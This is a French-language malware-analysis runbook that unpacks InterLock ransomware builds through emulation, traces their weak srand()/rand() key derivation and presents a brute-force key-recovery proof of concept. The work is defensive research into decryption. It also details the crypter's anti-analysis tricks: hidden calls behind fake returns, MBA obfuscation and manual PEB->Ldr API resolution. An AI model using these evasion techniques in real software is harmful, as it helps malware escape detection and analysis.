# Runbook : reproduction pas à pas (InterLock, rand()/clock())

## A. Recherché de l'échantillon documenté

Le hash cité par la source (derp.ça, "InterLock: full tooling teardown") est `0870c0136c0b7092dc79f3169f58a6e32011743586a18ed8a300010f34c2d44d`.

```bash
KEY=$(cat .mb_api_key)
curl -s -X POST https://mb-api.abuse.ch/api/v1/ -H "Auth-Key: $KEY" \
  -d "query=get_info&hash=0870c0136c0b7092dc79f3169f58a6e32011743586a18ed8a300010f34c2d44d"
# -> {"query_status": "hash_not_found"}
```

Recherche web directe sur ce hash : aucune occurrence. Page publique VirusTotal : bloquée sans clé API (non disponible). Ce hash précis reste inaccessible.

## B. Liste des échantillons disponibles (tag InterLock, MalwareBazaar)

```bash
curl -s -X POST https://mb-api.abuse.ch/api/v1/ -H "Auth-Key: $KEY" \
  -d "query=get_taginfo&tag=InterLock&limit=1000"
```

18 échantillons au total (exe et elf). Deux échantillons datés du 2026-03-24 (tag `RAT`, probablement l'implant NodeSnake, pas le module de chiffrement) sont submittés la veille de la publication de l'article (2026-03-25), sans certitude que ce soit le même lot exact.

## C. Premier essai : PE malformé, écarté

```bash
h=dae299469d2d2f836d56b8f8f0a13bd03ba9e6e52e3c9bcddf2c7e1db62e49cf
curl -s -X POST https://mb-api.abuse.ch/api/v1/ -H "Auth-Key: $KEY" -d "query=get_file&sha256_hash=$h" -o s.zip
7z x -pinfected s.zip
file $h.exe   # PE32+ executable for MS Windows 5.02 (GUI), x86-64
```

```python
import pefile
pe = pefile.PE(f"{h}.exe", fast_load=True)
pe.parse_data_directories()   # AttributeError: 'PE' object has no attribute 'DIRECTORY_ENTRY_IMPORT'
```

`radare2 -q -c "iS" / "ii"` donne les mêmes avertissements : `Invalid import directory size`, `import directory offset bigger than file`. Une seule section `.text` déclarée, couvrant tout le fichier (196608 sur 200704 octets). Hash du fichier téléchargé vérifié correct (pas un problème de téléchargement). Aucune chaîne InterLock/onion/tomcrypt/aes/chacha trouvée (ASCII et UTF-16LE). Écarté au profit de l'échantillon suivant, cause exacte (stub packé vs dump partiel mal formé) non déterminée.

## D. Deuxième échantillon : PE bien formé, retenu

```bash
h=4a97599ff5823166112d9221d0e824af7896f6ca40cd3948ec129533787a3ea9
# meme telechargement que C.
file $h.exe   # PE32 executable for MS Windows 4.00 (GUI), Intel i386 (stripped to external PDB), 6 sections
```

```python
import pefile
pe = pefile.PE(f"{h}.exe", fast_load=True)
pe.parse_data_directories()
for e in pe.DIRECTORY_ENTRY_IMPORT:
    if e.dll.decode().lower() == "msvcrt.dll":
        for i in e.imports:
            print(i.name.decode() if i.name else i.ordinal)
```
Retour : `calloc, clock, free, isalnum, malloc, memcpy, memset, puts, strpbrk, wcscat, wprintf, _tempnam, _swab, _sopen, _fgetchar, _execvpe, _creat, _close`. `clock` confirmé, `rand`/`srand` absents (inliné ou réimplémenté, pas confirmé).

Vérification protecteur commercial : aucune chaîne `vmprotect|themida|enigma|vmp|obsidium|aspack|upx|petite|molebox` trouvée (les quelques correspondances partielles sont des sous-chaînes coïncidentes dans des mots de dictionnaire concaténés en guise de bourrage). Entropie des sections normale (6,44 à 7,05 selon la section, pas de section packée classique >7,5).

## E. Localisation des appelants de clock() (Ghidra headless, PyGhidra)

```bash
python3 tools/find_clock_callers.py 4a97599f....exe clock_callers.txt
```

Retour : 2 symboles `clock` (thunk à `0x004a96e8` qui saute vers l'import réel, plus le symbole externe), 3 sites d'appel, tous dans/autour de `FUN_004766ff` (2683 octets). Extrait pertinent du décompilé (entrée de la fonction) :

```c
void FUN_004766ff(void)
{
  ...
  cVar8 = clock();
  uVar9 = cVar8 + 0x49fa;
  *(uint *)(unaff_EBP + -0x20) = uVar9;
  ...
  while( true ) {
    if (*(uint *)(unaff_EBP + -8) <= uVar17) {
      ...
      return;
    }
    *(uint *)(unaff_ESI + uVar17) = *(uint *)((int)(unaff_EDI + 1) + uVar17) ^ *(uint *)(unaff_EBP + -0x10);
    uVar9 = clock();
    if (uVar9 < *(uint *)(unaff_EBP + -0x20)) break;
    uVar17 = uVar17 + 4;
  }
  ...
}
```

`clock()` alimente un seuil réellement testé dans une boucle, pas un simple délai anti-sandbox isolé. Fonction fortement obfusquée : avertissements Ghidra "type propagation algorithm not settling", plusieurs blocs "unreachable" supprimés, registres `unaff_EBP`/`unaff_ESI`/`unaff_EDI` (la fonction est atteinte par saut, pas par un `call` avec prologue normal).

## F. Remontée de la chaîne d'appel

```bash
python3 tools/find_clock_callers.py ... # variante avec recherche des callers de FUN_004766ff
```

`FUN_00475573` (32 octets) :
```c
void FUN_00475573(void)
{
  uint extraout_ECX;
  size_t unaff_ESI;

  DAT_004c99fd = malloc(unaff_ESI);
  FUN_00475593(extraout_ECX);
  FUN_004766ff();
  return;
}
```
**Aucun appelant statique trouvé pour `FUN_00475573`** (recherche de références, vide). `unaff_ESI` (taille passée à `malloc`) et `extraout_ECX` n'ont pas de valeur d'origine connue dans cette vue.

`FUN_00475593` (345 octets, `__fastcall`, `param_1` reçu dans ECX) révèle le mécanisme d'obfuscation : écrit des octets calculés à des offsets précis dans des constantes qui ressemblent à des mots de dictionnaire concaténés, par exemple :
```c
s_UuGUJtBalN7ATiiqXqoTOwwOhOFOBrzM_004b4318._33_4_ = unaff_EDI;
```
La donnée réelle (clé/IV en construction, hypothèse) est dispersée dans ce qui ressemble à du bruit, jamais un bloc contigu identifiable. `unaff_EDI`/`unaff_EBX` utilisés ici aussi sans origine connue.

## G. Tentative d'émulation Unicorn ciblée (échec)

```bash
python3 tools/emulate_key_chain.py 4a97599f....exe
```

Démarre à `FUN_00475573`, `ESI=0x30` (hypothèse 48 octets clé+IV), `clock()`/`malloc()` hookés (patch IAT vers des stubs `ret`, même technique que pour Clop). **Résultat : plante à l'entrée de `FUN_004766ff`**, `Invalid memory read (UC_ERR_READ_UNMAPPED) @ EIP=0x004766ff`. Cause : la première instruction de cette fonction lit `*(EDI)`, `EDI` vaut 0 par défaut dans Unicorn (jamais initialisé), lecture invalide.


## H. Trouver le vrai appelant de FUN_00475573 (scan brut, pas de référence Ghidra)

```bash
python3 tools/find_data_refs_to_addr.py 4a97599f....exe 0x00475573 data_refs.txt
```
Retour : zéro référence Ghidra, zéro occurrence brute de l'adresse (4 octets little-endian) dans .text/.data/.rdata/.idata/.rsrc/.reloc. Même vérification sur le slot IAT de GetProcAddress (`tools/find_iat_slot_callers.py`) : aucun CALL détecté non plus. L'obfuscation touche tout le flux de contrôle, pas seulement la routine de clé.

```bash
python3 tools/scan_raw_calls.py 4a97599f....exe 0x00475573
```
Retour : exactement un `CALL rel32` vers `0x00475573`, à `0x0045ea59`, jamais désassemblé par Ghidra. Vérification avec `tools/inspect_region.py` : `0x0045ea3c` est un `RET` (faux, ou fin d'un chemin non emprunté), et Ghidra ne désassemble rien après (zone traitée comme inatteignable). Désassemblage manuel à partir de `0x0045ea3d` (capstone, 32 bits) :

```
0045ea3d: nop / nop / nop / nop
0045ea41: inc edi
0045ea42: cmp edi, 0x1263
0045ea48: jne 0x45dcf9
0045ea4e: mov edi, 0x5018be
0045ea53: mov esi, dword ptr [0x5018ba]
0045ea59: call 0x475573
0045ea5e: push 0x45ed8f
...
```

Valeur réelle à `0x5018ba` (`.rdata`, figée dans le binaire) : octets `15 08 02 00` = `0x00020815` (environ 128 Ko). C'est `unaff_ESI`, la taille passée à `malloc` dans `FUN_00475573`, et non 48 octets.

Remontée du flux de contrôle qui mène à `0x45ea41` (pour mémoire) : `0x45dcf9` fait `push 0x45ea41` puis `call 0x45dd04`, une grosse fonction qui effectue quelque part un "double retour" (consomme sa propre adresse de retour ET celle poussée manuellement), redirigeant l'exécution vers `0x45ea41` sans jamais stocker cette adresse comme un pointeur littéral quelque part : explique pourquoi aucune recherche de référence/donnée ne pouvait la trouver.

## I. Émulation Unicorn relancée avec le vrai point d'entrée

```bash
python3 tools/emulate_key_chain_v2.py 4a97599f....exe
```

Démarre à `0x0045ea4e` (juste après la boucle anti-analyse `inc edi; cmp edi,0x1263; jne ...`, sans intérêt pour la génération de clé). `EBX` toujours mis à 0 par défaut (non résolu). Retour (budget 5 000 000 instructions) :

```
clock=    1000 ok=True err=None final_eip=0x00476cc8
  malloc() appele avec tailles (registre ESI) : ['0x20815']
  octets non nuls dans tout le buffer alloue : 4
  premiers 0x60 octets : 789cecbd0000...0000
```

`final_eip` différent du sentinel de retour (`0x666666`) sur les trois valeurs de `clock()` testées : l'émulation n'a pas fini, elle a juste atteint la limite d'instructions (`ok=True` de Unicorn ne veut PAS dire "terminé normalement", seulement "pas d'exception" : à vérifier systématiquement contre `final_eip` plutôt que de faire confiance à `ok`). Relance avec un budget de 300 000 000 instructions (script ad hoc, pas encore intégré dans `emulate_key_chain_v2.py`) : ne termine toujours pas (`final_eip=0x47e9b0`), mais **le buffer alloué est réellement rempli progressivement** : 238 octets non nuls (contre 4 à 5M instructions), motif `789cecbd7b7c54d5b5007c6632810106ce2...`. Calcul confirmé extrêmement long (plusieurs centaines de millions d'instructions pour environ 128 Ko), cohérent avec les boucles `clock()` déjà documentées, mais pas encore caractérisé plus finement (motif d'écriture contigu ou dispersé pas encore vérifié).


## J. Instrumentation des écritures : le motif de remplissage, et le vrai coût de l'horloge figée

```bash
python3 tools/emulate_key_chain_write_trace.py 4a97599f....exe 50000000
```
Retour (horloge simulée figée) : 10 écritures de 4 octets, aux offsets 0, 4, 8, ..., 36, dans l'ordre, jamais réécrites. Remplissage strictement séquentiel dword par dword, pas dispersé. Coût : environ 5 millions d'instructions par dword.

Hypothèse testée : la routine contient un `while (clock() < seuil) {...}` (voir section E), et l'horloge simulée ne bouge jamais.

```bash
python3 tools/emulate_key_chain_write_trace_fastclock.py 4a97599f....exe 50000000
```
Seule différence : `clock()` simulé avance de 5000 à chaque appel au lieu de rester figé. Retour : **33 286 écritures dans la même fenêtre d'instructions** (tout le buffer de 0x20815 octets rempli, contre 10 écritures avant). Confirmé : la lenteur venait entièrement du throttle sur une horloge qui n'avançait jamais dans l'émulation, pas d'un calcul intrinsèquement coûteux.

## K. Le buffer rempli est un flux zlib qui décompresse en un payload PE complet

```python
import zlib
buf = ...  # buffer rempli, lu depuis Unicorn apres l'emulation fastclock
d = zlib.decompressobj(15)
payload = d.decompress(buf)
```
Retour : succès, 292 352 octets, en-tête `MZ` reconnaissable (stub DOS standard). **Ce n'est pas la clé de chiffrement : c'est un exécutable PE embarqué, compressé.** Toute la chaîne tracée depuis le début (`FUN_00475573`/`FUN_00475593`/`FUN_004766ff`) est donc un étage de déballage du crypter, pas la routine de génération de clé.

```bash
python3 tools/unpack_interlock.py 4a97599f....exe unpacked_payload.exe
```
Script qui combine les étapes ci-dessus en un déballage reproductible en une commande. Retour : `292352 octets ecrits`, `SHA256 : 9b31237dbf87d06caa3769bec491fad2dae131846e323bed636a6c6b8e24d7ae`.

```bash
KEY=$(cat .mb_api_key)
curl -s -X POST https://mb-api.abuse.ch/api/v1/ -H "Auth-Key: $KEY" \
  -d "query=get_info&hash=9b31237dbf87d06caa3769bec491fad2dae131846e323bed636a6c6b8e24d7ae"
# -> {"query_status": "hash_not_found"}
```
Absent de MalwareBazaar : jamais vu tel quel dans la nature, cohérent avec un étage interne au crypter.

```python
import pefile
pe = pefile.PE("unpacked_payload.exe", fast_load=True)
pe.parse_data_directories()
for e in pe.DIRECTORY_ENTRY_IMPORT:
    print(e.dll.decode())
    for i in e.imports:
        print(" ", i.name.decode() if i.name else i.ordinal)
```
Retour : PE32 x86, 9 sections. Imports `msvcrt.dll` incluant **`rand`, `srand` ET `clock` ensemble** (correspond exactement au mécanisme documenté par derp.ça), plus `RstrtMgr.DLL` (Restart Manager, déverrouille les fichiers tenus ouverts par d'autres process), `_findfirst`/`_findnext` (énumération de fichiers), `CreateProcessA`/`system` (probablement des commandes shell type suppression de clichés instantanés). C'est bien le vrai payload ransomware, distinct du crypter.


## L. Reversing du payload déballé : chaîne de seed complète, sans obfuscation

```bash
cp unpacked_payload.exe tools/unpacked/9b31237dbf87d06caa3769bec491fad2dae131846e323bed636a6c6b8e24d7ae.exe
python3 tools/find_clock_callers.py tools/unpacked/9b31237d....exe clock_callers_payload.txt
```
Retour : 4 fonctions appelantes, décompilation propre (pas d'avertissement "type propagation not settling", pas de faux `RET`). Confirme que la protection lourde du crypter ne s'étend pas au payload déballé.

`FUN_00403210` (alias `thunk_FUN_00403210`) : renomme le fichier cible en `.!NT3RLOCK` (extension InterLock connue) avant chiffrement, confirmant qu'on est bien sur la bonne routine. Génère la clé dans `int local_24c[12]` (48 octets) :

```c
uVar4 = clock();
for (i=0;i<12;i++) local_24c[i] = rand();
for (i=0;i<12;i++) local_24c[i] += (rand() ^ uVar4 ^ taille_fichier);
```

`FUN_00401a60` (initialisation du PRNG, appelée une seule fois par process, voir plus bas) :
```c
(*(code *)PTR_FUN_00432cec)(local_10);
uVar1 = clock();
iVar2 = FUN_00401ff0();       // K32EnumProcesses() -> nombre de process
cVar3 = clock();
srand(cVar3 * iVar2 ^ uVar1 ^ local_10[0]);
```

```bash
python3 tools/decompile_seed_chain.py tools/unpacked/9b31237d....exe seed_chain.txt 0x00401ff0 0x00401a60 0x00403210 0x00432cec
python3 tools/decompile_seed_chain.py tools/unpacked/9b31237d....exe seed_chain2.txt 0x0042ffc0 0x00430910 0x004034b0
```

Résultats clés :
- `FUN_00401ff0` appelle `K32EnumProcesses()` (import confirmé) et retourne le nombre de process courants : source de faible entropie, mais accessoire.
- `PTR_FUN_00432cec` est résolu dynamiquement par `FUN_0042ffc0` : `GetProcAddress(GetModuleHandleW("msvcrt.dll"), "rand_s")`, repli sur `SystemFunction036` (= RtlGenRandom, `advapi32.dll`) si absent. **Les deux sont de vrais CSPRNG** : `local_10[0]` est donc une valeur à haute entropie réelle, pas un horodatage prévisible. Nuance par rapport à l'article : la faiblesse n'est pas "deviner le timing", c'est que `srand()` ne prend qu'un seed de 32 bits quelle que soit la qualité de l'entrée, et que le flux `rand()` qui en sort est le LCG MSVCRT standard, entièrement déterministe une fois ce seed connu (espace de 2^32, brute-forçable au GPU, cf. `clop-mt19937-killchain` dans ce dépôt pour une méthode directement transposable).
- `FUN_00401a60` (le seed) n'a qu'un seul appelant dans toute la chaîne : `FUN_00401160` (probablement `main`) → `FUN_00430910` → `FUN_00401a60`. Confirme que `srand()` est appelé une seule fois par process, comme l'affirme l'article.
- `thunk_FUN_00403210` a deux appelants : un appel direct dans `FUN_00430910` sur un chemin fixe (`&DAT_00447080`, rôle pas encore déterminé), et un second depuis une fonction non nommée (`0x00402970`), probablement la vraie boucle d'énumération de fichiers, pas encore tracée.


## M. Boucle d'énumération, confirmation AES/LibTomCrypt, et PoC de brute-force

```bash
python3 tools/find_second_caller.py tools/unpacked/9b31237d....exe second_caller.txt
```
Retour : le second appelant de `thunk_FUN_00403210` (`0x00402970`) n'est dans aucune fonction reconnue par Ghidra (gap de limite de fonction, pas d'obfuscation délibérée cette fois). Désassemblage manuel (capstone) de la zone : boucle de thread worker qui dépile des chemins de fichiers d'une file protégée par section critique (`0x4474c0`, compteur `0x4474d0`, tableau `0x4474cc`), `Sleep(5000)` si la file est vide mais l'énumération pas finie, sinon `call thunk_FUN_00403210` sur le chemin dépilé puis boucle. Cohérent avec un pool de threads consommant une file partagée.

```bash
python3 -c "
data = open('tools/unpacked/9b31237d....exe','rb').read()
for s in [b'AES', b'rijndael', b'chc_hash']:
    print(s, data.count(s))
"
```
Retour : `"AES Encrypt"`, `"AES Decrypt"`, `"rijndael"`, `"chc_hash"` présents comme chaînes de debug authentiques (contexte : assertions internes type `"keysize != NULL"`, `"key != NULL"`). Ce sont les propres chaînes de diagnostic de **LibTomCrypt**, pas des artefacts d'obfuscation. Pas de S-box AES trouvée en octets bruts (cohérent avec une variante de build LibTomCrypt qui calcule les tables à la volée). Confirme l'usage de LibTomCrypt/AES documenté par l'article, mais sans validation par exécution du vrai code machine AES (contrairement à Akira/Clop dans ce dépôt).

```bash
python3 tools/decompile_seed_chain.py tools/unpacked/9b31237d....exe rsa_check.txt 0x00402ec0
```
`FUN_00402ec0` (enveloppement de la clé de 48 octets) appelle `FUN_00410020` avec 11 arguments (dont la clé RSA récupérée via 4 accesseurs `FUN_00401c30`/`40`/`50`/`60`) : signature cohérente avec une API LibTomCrypt de type `rsa_encrypt_key` (padding + chiffrement RSA en un seul appel). Décompilé plus bas.

```bash
python3 tools/interlock_key_poc.py
```
PoC de brute-force ([`tools/interlock_key_poc.py`](tools/interlock_key_poc.py)) : réimplémente le LCG MSVCRT `rand()`/`srand()` standard et la dérivation de clé par fichier (48 octets, deux passes de 12 tirages, cf. section L), chiffre un texte de test en AES-256-CBC (bibliothèque, pas le code machine réel), puis brute-force **l'état interne du LCG au moment des 24 tirages d'un fichier donné** (équivalent en coût au seed d'origine, indépendant du threading/de l'ordre d'énumération réel). Retour :
```
[*] brute-force sur 100001 etats candidats : 0.37s (~266818 candidats/s, Python pur mono-coeur)
[OK] etat retrouve : ... (identique a l'etat simule)
[OK] fichier entier recupere : IDENTIQUE
```


## Corpus complet MalwareBazaar : téléchargement et constat de couverture (1 build x86 sur 15 PE)

```bash
API_KEY=$(cat ../.mb_api_key)
curl -s https://mb-api.abuse.ch/api/v1/ -d "query=get_taginfo&tag=INTERLOCK&limit=1000" \
  -H "Auth-Key: $API_KEY" -o /tmp/interlock_taginfo.json   # 18 echantillons total

mkdir -p binaries
python3 -c "
import json
d = json.load(open('/tmp/interlock_taginfo.json'))
for e in d['data']:
    print(e['sha256_hash'])
" > /tmp/interlock_all_shas.txt

while read -r SHA; do
  curl -s https://mb-api.abuse.ch/api/v1/ -d "query=get_file&sha256_hash=$SHA" \
    -H "Auth-Key: $API_KEY" -o "binaries/${SHA}.zip"
done < /tmp/interlock_all_shas.txt
cd binaries && for f in *.zip; do 7z x -pinfected "$f" -y >/dev/null 2>&1; done
file * | grep -c "PE32"   # 15
file * | grep -c "ELF"    # 3
```

Timestamps de compilation + architecture (`pefile`, `FILE_HEADER.Machine`) sur les 15 PE : étalement du 2024-07-02 au **2026-02-13**. **Un seul est PE32 (x86, Intel i386)** : `4a97599ff5823166112d9221d0e824af7896f6ca40cd3948ec129533787a3ea9` (celui déjà couvert par le PoC ci-dessus). Les 14 autres sont PE32+ (x86-64), jamais vérifiés. `33dc991e61ba714812aa536821b073e4274951a1e4a9bc68f71a802d034f4fb9` (x64) est compilé à 6 secondes exactement de `4a97599ff...` (même jour, 2025-02-21) : sibling direct de la même release.

Triage rapide par imports (`rabin2 -i FICHIER.exe | grep -iE "rand|clock"`) sur les 14 x64 : présence très inégale de `clock`/`rand` selon le build (certains les montrent, d'autres non), signe d'un crypter qui cache les vrais imports du payload, comme sur le build x86 déjà connu.

## Tentative de déballage x64 sur le sibling `33dc991e...`, abandonnée (obfuscation plus lourde)

```bash
source ~/.venvs/ctf-reverse/bin/activate
SHA=33dc991e61ba714812aa536821b073e4274951a1e4a9bc68f71a802d034f4fb9
python3 ../hive-keystream-reuse/tools/find_api_callers.py binaries/${SHA}.exe clock callers_clock_x64.txt
```
Résultat : aucun appelant visible (même symptôme que sur le build x86).

```bash
# nouveau script, equivalent x64 de scan_raw_calls.py (CALL [rip+disp32], opcode FF 15,
# au lieu de CALL rel32 E8 -- x64 appelle generalement les imports par adressage RIP-relatif)
python3 tools/scan_raw_calls_x64.py binaries/${SHA}.exe 0x140147628   # IAT de clock()
```
0 résultat. Recherche d'un thunk `JMP [rip+disp32]` vers cette IAT (script ad hoc) : trouvé à `0x1400bba00`. Nouvelle recherche de CALL rel32 caché ciblant ce thunk (`scan_raw_calls.py` réutilisé tel quel, le CALL lui-même reste un E8 rel32 même en x64) :
```bash
python3 tools/scan_raw_calls.py binaries/${SHA}.exe 0x1400bba00
```
0 résultat également.

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py binaries/${SHA}.exe entry_x64.txt 0x140001000
```
Décompilation de l'`entry` réel du PE : code saturé d'obfuscation par arithmétique mixte booléenne (`CONCAT`/`SBORROW` en cascade, comparaisons à des constantes 32 bits qui pilotent des branches sans logique apparente). Nature différente de l'obfuscation du build x86 (un simple CALL caché derrière un faux RET) : ici, un vrai protecteur de flux de contrôle, qui rend le scan de motifs d'octets bruts inefficace par construction.

**Conclusion** : couvrir les 14 builds x64 (dont le plus récent, compilé 2026-02-13) demanderait un harnais Unicorn x64 dédié, comparable en ampleur au travail déjà fait sur le harnais RSA-OAEP d'Akira.

## Harnais x64 construit (`tools/unpack_interlock_x64.py`) : émulation directe depuis le vrai entry point

Plutôt que de continuer la recherche statique du call caché (inefficace face à l'obfuscation MBA), même démarche que le harnais RSA-OAEP d'Akira : mapper le PE, hooker tous les imports par des stubs individuels, et avancer en corrigeant les blocages un par un.

```bash
source ~/.venvs/ctf-reverse/bin/activate
SHA=33dc991e61ba714812aa536821b073e4274951a1e4a9bc68f71a802d034f4fb9
python3 tools/unpack_interlock_x64.py binaries/${SHA}.exe /tmp/payload_out.bin
```

**Bugs rencontrés et corrigés, dans l'ordre** :

1. `UC_ERR_MAP` au montage : `STUB_BASE`/`RET_SENTINEL` tombaient dans la plage de la zone scratch (32 Mio, plus grande que prévu). Adresses repositionnées au-delà de `SCRATCH_BASE + SCRATCH_SIZE`.
2. `UC_ERR_READ_UNMAPPED` sur `imagebase + 0x150` : le header PE (DOS header + NT headers + table de répertoires de données, avant la première section) n'était jamais mappé (`load_sections()` ne mappe que les sections). Ajout de `load_headers()` qui mappe et écrit les `SizeOfHeaders` premiers octets à `image_base`.
3. Table d'imports statique sans rapport avec un crypter (`COMCTL32`, `GDI32`, `ole32`, `USER32`...) : chaque slot IAT reçoit un stub individuel (`STUB_BASE + i*0x10`, corps `RET`), exécution interceptée via `UC_HOOK_CODE` sur la plage de stubs. `GetProcAddress` hooké pour résoudre un nom demandé vers un stub existant (ou en créer un nouveau à la volée) : nécessaire car les vraies APIs semblent résolues dynamiquement, pas via l'IAT statique.
4. `clock()` avance de 5000 par appel (même piège horloge figée que le build x86). Un build (`5a0d393d...`) utilise **`time()`** pour le même rôle : hook séparé ajouté, qui incrémente et écrit aussi la valeur à l'adresse passée en argument si non nulle (signature `time(time_t *)`).
5. `gs:[0x60]` (accès TEB->PEB) : même correctif que le harnais RSA-OAEP d'Akira, `install_teb()` mappe un TEB/PEB synthétique et pose `GS_BASE` via `UC_X86_REG_GS_BASE`.
6. Budget d'instructions initial (200 millions) beaucoup trop bas : l'émulation "terminait" en silence (limite de comptage atteinte, pas un vrai `RET`) sans lever d'exception, ce qui a d'abord fait croire à un succès illusoire sur `5a0d393d...`. Ajout d'un traçage de progression tous les 100 millions d'instructions (adresse courante) pour distinguer un vrai blocage (adresse figée) d'un calcul simplement long (adresse qui change à chaque palier) : confirme que l'obfuscation MBA multiplie fortement le nombre d'instructions par itération réelle, pas une boucle infinie. Budget relevé à 3 milliards.

**Résultat sur `33dc991e...`** (sibling exact du build x86 déjà cassé, compilé 6 secondes après) :
```
16125 appels d'import interceptes.
  msvcrt.dll!clock : 16120
  msvcrt.dll!malloc : 2
  ...
2 allocation(s) malloc:
  alloc0 @ 0x301000 taille=136642 ... 16 premiers octets: 789cdcbd797c1455f200de3399c00089
```
Le premier buffer alloué commence par `78 9c` (zlib), exactement comme le build x86 :
```bash
python3 -c "
import zlib
data = open('/tmp/payload_out.bin.alloc0.bin', 'rb').read()
payload = zlib.decompressobj(15).decompress(data)
open('/tmp/interlock_x64_payload.exe', 'wb').write(payload)
"
file /tmp/interlock_x64_payload.exe   # PE32+ executable, 272896 octets
```
Vérification de la signature vulnérable sur ce payload déballé :
```bash
rabin2 -i /tmp/interlock_x64_payload.exe | grep -iE "rand|clock"   # rand, srand, clock (msvcrt.dll)
strings -a /tmp/interlock_x64_payload.exe | grep -iE "chc_hash|rijndael|AES Encrypt"
```
Identique au build x86 : `rand`/`srand`/`clock` + LibTomCrypt (`AES Encrypt`, `chc_hash`, `rijndael`).

**Deux autres builds x64 confirmés vulnérables avec le même harnais** (`b85586f9...`, compilé 2024-12-22, et `0fff8fb0...`, compilé 2025-03-06) : sur ces deux, l'émulation va jusqu'au bout de la décompression en mémoire (le second buffer alloué contient directement un PE non compressé, `4D 5A` en clair), même signature `rand`/`srand`/`clock`+LibTomCrypt confirmée sur les deux.

**Build le plus récent (`5a0d393d...`, compilé 2026-02-13) : bloqué à un stade plus avancé.** Remplit le buffer à 85 % (116 963/137 810 octets) avant de planter sur un parcours manuel de `PEB->Ldr` (liste chaînée `LDR_DATA_TABLE_ENTRY`, technique de résolution d'API façon shellcode, une couche au-delà de `GetProcAddress`) : `mov rax, [rax+0x18]` (lit `Ldr`, jamais initialisé dans le TEB/PEB synthétique) puis déréférence un pointeur nul. Nécessiterait de simuler une fausse liste de modules pour aller plus loin, pas fait à ce stade.

**Build sans table d'imports standard (`85a18f6e...`, 299 520 octets, le plus petit x64 du corpus)** : `pefile` ne trouve aucun `DIRECTORY_ENTRY_IMPORT` du tout, packing ou format probablement différent, pas encore investigué.

**Un build encore en cours au moment de la rédaction** (`39539766...`, compilé 2024-10-04) : dépasse 1,2 milliard d'instructions sans avoir conclu, mais l'adresse de progression change à chaque palier de 100 millions (pas figée), cohérent avec un calcul long plutôt qu'un vrai blocage.


## `39539766` déballé, lot des 7 derniers x64, et un bug de détection

Le build `39539766...` (2024-10-04, en cours ci-dessus) a fini par atteindre un vrai `RET` en tâche de fond (~1,78 milliard d'instructions) : PE extrait, `rand`/`srand` confirmés (catalogué DLL, 8 sections, structure différente des autres, chaînes LibTomCrypt non trouvées sur ce fichier précis, à vérifier).

**Bug de détection trouvé sur le lot suivant** : Unicorn ne lève pas d'exception quand `count=INSTRUCTION_BUDGET` est atteint pile, donc `mu.emu_start()` retourne normalement dans ce cas comme dans un vrai `RET`. Le script affichait alors "Émulation terminée normalement" à tort. Corrigé :
```python
if insn_count[0] >= INSTRUCTION_BUDGET:
    print("BUDGET EPUISE (pas un vrai RET, Unicorn ne leve pas d'exception dans ce cas)")
else:
    print("Emulation terminee normalement (RET_SENTINEL atteint)")
```

Lot des 7 derniers échantillons x64 lancé en parallèle (4 threads, 900s/3 milliards d'instructions chacun) :
```bash
mkdir -p /tmp/interlock_x64_logs
SHAS="dae299469d2d2f836d56b8f8f0a13bd03ba9e6e52e3c9bcddf2c7e1db62e49cf
a26f0a2da63a838161a7d335aaa5e4b314a232acc15dcabdb6f6dbec63cda642
45a323e010ea6d5b54d2859112925360174507ea3dc039d02ac6680b6aabd073
5c5598f7fb5bab3e2c18216764dbbff019f7f19d3801083e8fbf638ba02c6bca
8251186b3196e3fefb0dbfcf71dfccc2c1cd66515686c9af8a6fb48766c739c6
f02622129e7774b7673e2a9f62bb4a208d4a142b5d925532c7920481549bd07b
396eb0e817d90cf366b5648f9a97c51bfb37737af13dc4a9e1a768885a867dc5"
echo "$SHAS" | xargs -P 4 -I{} bash -c '
  timeout 900 python3 tools/unpack_interlock_x64.py binaries/{}.exe /tmp/interlock_x64_logs/{}.bin \
    > /tmp/interlock_x64_logs/{}.log 2>&1
'
```

Résultats :
- **`a26f0a2da...` (2024-10-11) : cassé.** Run complet, même signature `rand`/`srand`/`clock`+LibTomCrypt.
- **`dae299469...` (2024-10-11) : même blocage que `85a18f6e`** (aucune `DIRECTORY_ENTRY_IMPORT`).
- **`396eb0e8...` (2026-01-31) : même blocage `PEB->Ldr` que `5a0d393d`**, buffer rempli à 84 % avant de planter, `time()` utilisé (20840 appels).
- **`45a323e0...`, `5c5598f7...`, `8251186b...`, `f0262212...` : indéterminés**, tous les 4 atteignent pile 3 milliards d'instructions sans un seul appel `clock`/`time`/`rand` (juste 1 `malloc`, buffer quasi vide).

## Diagnostic statique des 4 builds indéterminés, sur `45a323e0` comme représentant

Sans remettre de budget d'exécution : histogramme d'adresses sur une fenêtre courte (20 millions d'instructions), pour voir si le blocage est une vraie boucle figée ou juste un calcul long.

```python
# variante diagnostique de unpack_interlock_x64.py : mêmes mappings/hooks,
# mais hook_all_code alimente un Counter(address) au lieu de juste last_addr,
# et emu_start est appele avec count=20_000_000 (fenetre courte, juste pour observer)
```

Résultat : 1187 adresses distinctes visitées, mais les plus fréquentes reviennent ~145 000 fois chacune. Désassemblage de la zone la plus chaude (`r2 -q -c "s 0x1800380a0; pd 40" binaries/45a323e0....exe`) :

```asm
0x1800380a0: mov dword [rsp], 0        ; compteur = 0
0x1800380a7: jmp 0x18003813b           ; saut vers la condition
0x1800380ac: <corps de boucle, ~0x8f octets>
0x180038137: inc qword [rsp]           ; compteur++
0x18003813b: cmp qword [rsp], 0x2f     ; compare a 47
0x180038140: jle 0x1800380ac           ; boucle tant que compteur <= 47 (48 iterations)
```

**Boucle interne correctement bornée à 48 itérations**, pas une instruction figée. Mais 145536 hits / 48 ≈ 3032 appels à cette boucle dans la seule fenêtre de 20M instructions : une fonction englobante, plus grosse, l'appelle un très grand nombre de fois. Remontée manuelle (`r2 -q -c "s 0x180038146; pd 60"` pour la suite après la boucle, `r2 -q -c "s 0x180038050; pd 20"` pour tenter de remonter avant) : la fonction se termine bien par un vrai `ret` (`0x180038198`) suivi immédiatement d'une NOUVELLE fonction (`push rbp` à `0x180038199`), donc la boucle bornée fait bien partie d'une fonction complète et cohérente, mais aucun prologue net trouvé en remontant vers `0x180038050` : la fonction réelle est plus grande que la fenêtre inspectée, et tout aussi dense en obfuscation MBA.

**Conclusion, laissée en l'état** : impossible de trancher entre "calcul légitime très long" et "boucle englobante qui attend une condition jamais satisfaite" sans un investissement de reversing manuel comparable à une nouvelle mini-investigation (tracer la fonction englobante en entier).

## `PEB->Ldr` simulé : déblocage des deux builds les plus récents (janvier/février 2026)

